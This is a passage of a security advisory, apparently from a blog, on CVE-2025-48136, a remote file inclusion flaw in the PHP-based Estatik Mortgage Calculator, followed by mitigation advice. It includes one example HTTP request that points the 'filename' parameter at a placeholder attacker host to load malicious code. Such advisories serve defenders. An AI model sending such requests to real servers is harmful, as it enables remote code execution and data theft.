An attacker can manipulate the filename parameter in the PHP script to include a remote file. This opens the possibility for the attacker to execute arbitrary code on the server, leading to a potential system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-933443852\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to manipulate the &#8216;filename&#8217; parameter:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/Estatik_Mortgage_Calculator.php?filename=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the &#8216;filename&#8217; parameter is modified to include a remote file (&#8216;malicious_script.txt&#8217;) from an attacker-controlled server. This remote file may contain malicious PHP code that, when executed, can compromise the target system.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of Estatik Mortgage Calculator are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation to prevent potential attacks exploiting this vulnerability. Regular monitoring and updating of systems are also important in maintaining a secure environment.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application.
